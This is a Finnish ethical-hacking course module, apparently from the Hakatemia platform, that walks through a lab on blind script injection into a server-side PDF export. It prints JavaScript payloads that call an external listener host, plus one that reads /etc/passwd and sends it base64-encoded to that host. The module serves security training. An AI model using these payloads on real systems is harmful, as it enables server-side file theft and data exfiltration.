PDF-export injektio

PDF-export-injektio - Sokea injektio

Keskitaso
25 min

Joskus voi olla tilanne, että tiedät sovelluksen suorittavan HTML-koodin, mutta joko et näe lopullista PDF-dokumenttia tai sitten syötetty HTML-koodi ei vain yksinkertaisesti mahdu tai pääse visuaalisesti oikeaan kohtaan dokumentissa. Silloin täytyy suorittaa sokea injektio ja vuotaa tiedot toista reittiä pitkin. Tutustutaan tähän tässä moduulissa.

Tässä moduulissa ratkaisemme labran yhdessä. Voit halutessasi lopettaa lukemisen ja yrittää ratkaisua itse. Muussa tapauksessa voit seurata alla olevia vaiheita omaan tahtiin.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Haavoittuvuuden todentaminen

Sovellus on lähes samanlainen kuin edellisessä moduulissa paitsi, että tällä kertaa sovellus ei anna meidän ladata generoimaansa PDF-tiedostoa. Meidän täytyy siis todentaa haavoittuvuus muilla keinoin.

Tähän soveltuu Hakatemian kuuntelijatyökalu mitä parhaiten. Aloitetaan luomalla uusi kuuntelija URL-osoite ja kirjoitetaan JavaScript-koodi, joka kutsuu kyseistä URL-osoitetta. Näin pystymme todentamaan kaksi asiaa.

  • Onko JavaScript-koodin käyttö sallittu
  • Tapahtuuko PDF-generointi järjestelmässä josta voimme kommunikoida ulkoverkkoon

Joskus HTTP-pyyntö ei tule perille mutta DNS tulee. Tämä voi esimerkiksi tarkoittaa, että edessä on jokin palomuuri joka estää liikenteen. Tyypillisesti DNS on kuitenkin sallittu. Jos HTTP-pyyntö eikä DNS liikenne ilmesty kuuntelijaan, kannattaa kokeilla muita HTML-elementtejä kuten kuva ja tyyli resursseja. Näin selviää onko JavaScript-koodin ajaminen estetty.

Käytämme seuraavaa koodia ja asetamme sen kommentti kenttään. Tämän jälkeen lähetämme profiilin arviointiin.

<script>

x=new XMLHttpRequest; 
x.open("GET","https://z8u013a69c.hit.ha-listener.com"); 
x.send(); 

</script>

Näemme kuuntelijassa osuman ja näin olemme varmistaneet, että sovellus on haavoittuvainen sekä sallii JavaScript-koodin ajamisen. Voimme myös kommunikoida ulospäin JavaScript-koodilla.


Haavoittuvuuden hyväksikäyttö


Seuraava askel on käyttää haavoittuvuutta hyväksi ja vuotaa järjestelmästä passwd-tiedosto. Tämä on suhteellisen suoraviivainen toimenpide JavaScript-koodilla ja koostuu seuraavista vaiheista.

  • Ensin haemme tiedoston sisällön
  • Sitten lähetämme tämän kuuntelijaan

Koodimme näyttää jotakuinkin tältä.

<script>

passwd_xhr=new XMLHttpRequest;

passwd_xhr.onload=function(){ 
var bs64 = btoa(this.responseText);
kuuntelija = new XMLHttpRequest;
kuuntelija.open("POST", "https://z8u013a69c.hit.ha-listener.com");
kuuntelija.send(bs64);
};

passwd_xhr.open("GET","file:///etc/passwd");

passwd_xhr.send();

</script>

Ensin haemme passwd-tiedoston sisällön suorittamalla XMLHttpRequest pyynnön. Määritämme tälle funktion (passwd_xhr.onload), joka suoritetaan, kun ensimmäinen pyyntö on valmis. Tämä funktio paketoi ensin tiedoston sisällön base64-enkoodausta käyttäen, jonka jälkeen lähettää tämän kuuntelijalle toisella XMLHttpRequest pyynnöllä.

Lähetimme profiilin arviointiin ja saimme osuman kuuntelijaan. HTTP-pyyntö sisälsi base64-enkoodatun kehon, jonka voimme nyt purkaa käyttämällä Hakatemian muuntajatyökalua.

Kuuntelijaan saapunut HTTP-pyyntö.

HTTP-kehon sisältämä base64-enkoodattu data purettuna muuntajassa.

Näin saimme tiedoston vuodettua ulos vaikka emme päässeet käsiksi generoituun PDF-tiedostoon. Katsotaan seuraavassa moduulissa tilannetta, kun HTTP-liikenne ulkomaailmaan on estetty.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.